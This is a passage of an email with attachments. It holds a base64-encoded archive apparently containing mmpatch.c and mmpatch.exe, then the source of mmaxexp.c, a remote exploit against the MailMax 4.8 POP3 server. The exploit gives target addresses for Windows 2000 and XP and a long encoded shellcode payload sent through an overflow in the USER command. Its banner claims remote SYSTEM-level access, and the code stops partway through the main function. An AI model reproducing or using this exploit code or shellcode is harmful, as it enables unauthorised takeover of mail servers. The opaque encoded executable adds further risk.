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
cPrL6XvT30w/kH4o/W/pn6V/k67IGDuL7ptFHfqyca/xa+D6tPi4+AGTJkGZ
oE3oTbiacFPilMT45PTkJGhH/2H+s/l4WndarrnC/JV5TLohfXx6dPors44i
HrBnT8BPSkZGRnHGhox5GXUgE69ntGW8l2HJdGY6MlZm1IB0NGecAOnozOjP
0GdGZt6UOTUzOfPxzNugrb+U8deM4MynM3+feXzWtFnJgFMw/soYb1xibDf2
Gpm4y0Z1nCJ5fPLO5FeT9yd/kHxrcmHy/cm/Bx6cTe5MvpQ8K+VYyqmU8ynf
plxJCUodl3pnaklqdeo4kOV5acvTzqUFmyPNE82x5jiz2bzd/Ij5GfML5r+Z
PzN/Y75kDgUNtCB9ZXp+ekU6m/5Felf6lIzpGdjjYJlsqStS01LnpH6c6kz9
NjU/bUXa6rTR5mOzRpqltABza8Y3afemb01/LP0JaBtXoW1YMxwZt2VczVBm
Lsi8LbMwsz6zMfNw5snMTzIvZo4wRhlzjFXGVNAE0+NmxFviK+M74j+K74y/
FL/ItNxUbXrRtNr0UMII0zjTTFOCKdv0hGm/6bxJmRCakJiwJmEzaIJdCSuT
ziRlJGaB9M1PtCXmJuYnfp70dVJI8h8TJiXNTqpNejjpA9B+UclTkhcnN0JL
/1XKb1N+B9IXkoqCjxeRr0nfkf5oem3GpoxDUENBmdrMzZkNmdpZo2bNmjUH
eP+H1D+mvpz6aurroBFaUqOMtxjfMF41/nv8gfj3TfnJdydfTdWkHU5bZ95q
3m2cFP+i0QwlORN/Pj4TKK4z3Wf6jelp080JMQmzE+YlrEooThidODYxKdGc
6Ei8LbEj8W+JNyVFJz2Q9Kukt5MPJ4elTEyZkmJI/9z8vbnXnJU+F2oCldoL
uJMkeW7youS85NuSVyYXJ5clVyXXQuu/L3l78i+TH0t+MvnfkhlmijHWONe4
0LjeWG38g/FPxveg5c6PWxz3G2i3/XFX48bH3xQ/K35OPB+/Pb4H+HybqdD0
jumoaWrCzIQ7E0oS1IkjEquSHkp6POnppOeS/pD0UtKrSfuSWpIOJr2XdCLp
46SzSV8mdSVdSOpPGkhSJwcn65PHJEclT0qOSZ6ZnJCclsy8ROVkW+b2zAcy
d2Q+AhL9ZOazmc9l7s58IfOlzFcy92buy2zOPAA6+p3MjswTIAunM89mngd9
1JXZndmT2Z/pzWRmqWdpZmln6WeFA/+VRg1oyXDQkwbjFON0aAcpxkzjHOMC
o91YYFxhXG0sNVYYWeO90G73GZuNB4wdxhPGk8azxvNG0dhl7Db2GPuNXqMy
LjAuOO58vBjfFd8NuivaFGMqBc4vAk4+kByZsRQkdEXmnZnFmaWZ5ZlVmWzm
BpCE+kymmcH/THlKVQpqNaqpzqYcSD2YmmNeZLabl5pvM68w32lWp2vSe9Jj
MlZkbM6IhL772YwXMkCtJBYnliaWJ1YlsokboH+uT9yWuD3xgcQdiY8nPpn4
bOJzibsTX0h8KfEA9ErvgEScSDyZeDrxLGhTMbErsTuxJ7E/0ZvIJKmTNEna
JH1SeFJkUlSSAaQmJml6kjEpISklKT3JkjQnKSdpUZI9aWnSbUlVSWzS5qT6
pG1J25OYbvlopVENnNQa/2Vs/e/7+38AUEsBAhcDFAACAAgAGCj3LF/CiPfV
AQAAkQMAAAkADQAAAAAAAQAAAKSBAAAAAG1tcGF0Y2guY1VUBQADMA09PVV4
AABQSwECFwMUAAIACAA3KPcs2aLVa4FyAAAA3AAACwANAAAAAAAAAAAApIER
AgAAbW1wYXRjaC5leGVVVAUAA2kNPT1VeAAAUEsFBgAAAAACAAIAigAAANB0
AAAAAA==
--0-1291061773-1027415184=:94223
Content-Type: text/plain; name="mmaxexp.c"
Content-Description: mmaxexp.c
Content-Disposition: inline; filename="mmaxexp.c"
/*
mmaxexp.c
July 20th, 2002
SmartMax MailMax Standard/Professional 4.8
http://www.smartmax.com
an overflow is present in the USER argument of
the pop3max daemon.. however, we do not get eip..
but with buffers of various sizes we can get
eax, ecx, and edx.. edx being the most useful as
shown below..
CALL [EDX+0C] @RVA413A08
so now we just need to drop the rva of our shell
that we'd like to call into memory somewhere
(-0C of course)..see CALL
YAY!@$!
2c79cbe14ac7d0b8472d3f129fa1df55 (c79cbe14ac7d0b8472d3f129fa1df55@yahoo.com)
*/
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/errno.h>
#include <unistd.h>
/* Windows 2000 Professional/Server */
char EDX2k[] = "\x30\xd7\x68\x06";
char CALL2k[] = "\xec\xd9\x68\x06";
/* Windows XP Professional */
char EDXxp[] = "\x30\xd7\x25\x06";
char CALLxp[] = "\xec\xd9\x25\x06";
/* we repeat the payload ptr on every */
/* dword prior to our target rva in */
/* order to increase those sexy odds */
char shell[2205];
char header[] = "\x55\x53\x45\x52\x20\x90\x90\x90";
char payload[] ="\x55\x8b\xec"
"\x68\x5e\x56\xc3\x90\x54\x59\xff\xd1\x58\x33\xc9\xb1\x1c"
"\x90\x90\x90\x90\x03\xf1\x56\x5f\x33\xc9\x66\xb9\x95\x04"
"\x90\x90\x90\xac\x34\x15\xaa\xe2\xfa\xfd\x15\x15\x15\x15"
"\x48\x94\xf8\xcc\x34\x55\x15\x98\xa0\xe7\x31\x55\x15\x98"
"\xa8\xef\x31\x55\x15\x7f\x12\x85\x85\x85\x85\x4c\xfd\xc7"
"\x17\x15\x15\x98\xa0\x3f\x30\x55\x15\x98\xa8\x26\x30\x55"
"\x15\x7f\x1f\x85\x85\x85\x85\x4c\xfd\xaf\x17\x15\x15\x7f"
"\x15\x98\xa0\xcc\x30\x55\x15\x43\x98\xa0\xf0\x30\x55\x15"
"\x43\x98\xa0\xfc\x30\x55\x15\x43\xea\x80\x26\x30\x55\x15"
"\x7f\x15\x98\xa0\xcc\x30\x55\x15\x43\x98\xa0\xf8\x30\x55"
"\x15\x43\x98\xa0\xe4\x30\x55\x15\x43\xea\x80\x26\x30\x55"
"\x15\xd2\x90\xe0\x30\x55\x15\x51\x15\x15\x15\x98\xa0\xe0"
"\x30\x55\x15\x43\xea\x80\x22\x30\x55\x15\x98\xa0\x38\x33"
"\x55\x15\xb8\x45\xea\x80\x46\x30\x55\x15\x98\xa0\x24\x33"
"\x55\x15\xb8\x45\xea\x80\x46\x30\x55\x15\x98\xa0\xe4\x30"
"\x55\x15\x98\xa8\x38\x33\x55\x15\xb0\x98\xa0\xf0\x30\x55"
"\x15\xb8\x98\xa8\x24\x33\x55\x15\xbe\x98\xa8\x20\x33\x55"
"\x15\xbe\xd2\x90\x30\x33\x55\x15\x15\x15\x15\x15\xd2\x90"
"\x34\x33\x55\x15\x14\x14\x15\x15\x98\xa0\x2c\x33\x55\x15"
"\x43\x98\xa0\xe0\x30\x55\x15\x43\x7f\x15\x7f\x15\x7f\x05"
"\x7f\x14\x7f\x15\x7f\x15\x98\xa0\x5c\x33\x55\x15\x43\x7f"
"\x15\xea\x80\x2e\x30\x55\x15\x7d\x15\x35\x15\x15\x85\x7d"
"\x15\x17\x15\x15\xea\x80\x56\x30\x55\x15\x9c\x90\x44\x33"
"\x55\x15\x26\xd5\x45\x55\x45\x55\x45\xea\x80\xef\x31\x55"
"\x15\x45\x4e\x7f\x05\x98\xa0\xdc\x30\x55\x15\x43\x46\xea"
"\x80\xeb\x31\x55\x15\x7f\x16\x46\xea\x80\x17\x30\x55\x15"
"\x98\xa0\x40\x33\x55\x15\x43\x98\xa0\xdc\x30\x55\x15\x43"
"\x46\xea\x80\x13\x30\x55\x15\x98\xa8\x4c\x33\x55\x15\xbe"
"\x26\xd5\x45\x98\xa8\x70\x33\x55\x15\x42\x45\x45\x45\x98"
"\xa0\xfc\x30\x55\x15\xb8\x45\xea\x80\x2a\x30\x55\x15\x7f"
"\x25\xea\x80\x5a\x30\x55\x15\xfe\x58\x85\x85\x85\x26\xd5"
"\x45\x98\xa8\x70\x33\x55\x15\x42\x45\x45\x45\x98\xa0\xfc"
"\x30\x55\x15\xb8\x45\xea\x80\x2a\x30\x55\x15\x7f\x45\xea"
"\x80\x5a\x30\x55\x15\x96\xa8\x70\x33\x55\x15\x17\x1a\x97"
"\x02\x14\x15\x15\x94\xa8\x70\x33\x55\x15\x14\x35\x15\x15"
"\x67\x1b\x85\x85\x85\x85\xd2\x90\x70\x33\x55\x15\x15\x35"
"\x15\x15\x7f\x15\x9e\x90\x70\x33\x55\x15\x98\xa8\x70\x33"
"\x55\x15\x42\x45\x9e\x90\x44\x33\x55\x15\x45\x98\xa0\xfc"
"\x30\x55\x15\xb8\x45\xea\x80\x52\x30\x55\x15\x7f\x45\xea"
"\x80\x5a\x30\x55\x15\x9e\x90\x70\x33\x55\x15\x7f\x15\x45"
"\x98\xa0\x44\x33\x55\x15\xb8\x45\x98\xa0\x4c\x33\x55\x15"
"\xb8\x45\xea\x80\x1f\x30\x55\x15\x7f\x15\x98\xa8\x70\x33"
"\x55\x15\x42\x7f\x15\x7f\x15\x7f\x15\x98\xa0\xfc\x30\x55"
"\x15\xb8\x45\xea\x80\x2a\x30\x55\x15\x7f\x45\xea\x80\x5a"
"\x30\x55\x15\x26\xdc\x2c\x98\x70\x33\x55\x15\x1a\x92\x72"
"\xea\xea\xea\x7f\x15\x7d\x15\x35\x15\x15\x85\x98\xa0\x44"
"\x33\x55\x15\xb8\x45\x98\xa0\x4c\x33\x55\x15\xb8\x45\xea"
"\x80\x1b\x30\x55\x15\x9c\x90\x74\x33\x55\x15\x7f\x15\x98"
"\xa8\x70\x33\x55\x15\x42\x45\x98\xa0\x44\x33\x55\x15\xb8"
"\x45\x98\xa0\xf8\x30\x55\x15\xb8\x45\xea\x80\x5e\x30\x55"
"\x15\x7f\x45\xea\x80\x5a\x30\x55\x15\x7f\x15\x9e\x90\x74"
"\x33\x55\x15\x98\xa8\x70\x33\x55\x15\x42\x45\x9e\x90\x44"
"\x33\x55\x15\x45\x98\xa0\xfc\x30\x55\x15\xb8\x45\xea\x80"
"\x52\x30\x55\x15\x7f\x45\xea\x80\x5a\x30\x55\x15\xfc\xac"
"\xeb\xea\xea\x98\xa0\x4c\x33\x55\x15\xb8\x45\xea\x80\x07"
"\x30\x55\x15\x98\xa0\x48\x33\x55\x15\xb8\x45\xea\x80\x07"
"\x30\x55\x15\x7f\x15\xea\x80\x42\x30\x55\x15\x44\x43\x7d"
"\xdd\x59\xbd\x15\x85\x4f\xea\x07\x45\x4e\x4c\x42\x4b\x44"
"\x43\x46\x7d\xe5\x59\xbd\x15\x85\x4f\xea\x07\x45\xb9\x91"
"\xd5\x60\xee\x4d\xbe\x4c\xf7\xfc\xd6\x42\x46\x5a\x56\x5e"
"\x26\x27\x15\x66\x7a\x76\x7e\x70\x61\x15\x77\x7c\x7b\x71"
"\x15\x79\x7c\x66\x61\x70\x7b\x15\x74\x76\x76\x70\x65\x61"
"\x15\x66\x70\x7b\x71\x15\x67\x70\x76\x63\x15\x76\x79\x7a"
"\x66\x70\x66\x7a\x76\x7e\x70\x61\x15\x5e\x50\x47\x5b\x50"
"\x59\x26\x27\x15\x56\x67\x70\x74\x61\x70\x45\x7c\x65\x70"
"\x15\x52\x70\x61\x46\x61\x74\x67\x61\x60\x65\x5c\x7b\x73"
"\x7a\x54\x15\x56\x67\x70\x74\x61\x70\x45\x67\x7a\x76\x70"
"\x66\x66\x54\x15\x45\x70\x70\x7e\x5b\x74\x78\x70\x71\x45"
"\x7c\x65\x70\x15\x52\x79\x7a\x77\x74\x79\x54\x79\x79\x7a"
"\x76\x15\x47\x70\x74\x71\x53\x7c\x79\x70\x15\x42\x67\x7c"
"\x61\x70\x53\x7c\x79\x70\x15\x46\x79\x70\x70\x65\x15\x56"
"\x79\x7a\x66\x70\x5d\x74\x7b\x71\x79\x70\x15\x50\x6d\x7c"
"\x61\x45\x67\x7a\x76\x70\x66\x66\x15\x56\x7a\x71\x70\x71"
"\x35\x77\x6c\x35\x69\x4f\x74\x7b\x35\x29\x7c\x6f\x74\x7b"
"\x55\x71\x70\x70\x65\x6f\x7a\x7b\x70\x3b\x7a\x67\x72\x2b"
"\x17\x15\x0a\x5d\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
"\x15\x15\x19\x15\x15\x15\x15\x15\x15\x15\x14\x15\x15\x15"
"\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
"\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
"\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
"\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
"\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
"\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
"\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
"\x15\x15\x56\x58\x51\x3b\x50\x4d\x50\x15\x15\x15\x15\x15"
"\x05\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
"\x15\x15\x15\x15\x15\x15\x1c\x1c\x1c\x1c\x1c\x90\x90\x90"
"\x0d\x0a";
main(char argc, char **argv){
int fd, i, opt;
int bufsize = 1024;
int *buffer = (int *)malloc(bufsize);
struct sockaddr_in sin;
struct hostent *he;
struct in_addr in;
printf("MailMax Standard/Professional 4.8 remote 'SYSTEM' level exploit (07/20/2002)\n");
printf("2c79cbe14ac7d0b8472d3f129fa1df55 (c79cbe14ac7d0b8472d3f129fa1df55@yahoo.com)\n\n");
if (argc < 4){
printf("usage: %s <hostname> -t <type>\n\n", argv[0]);
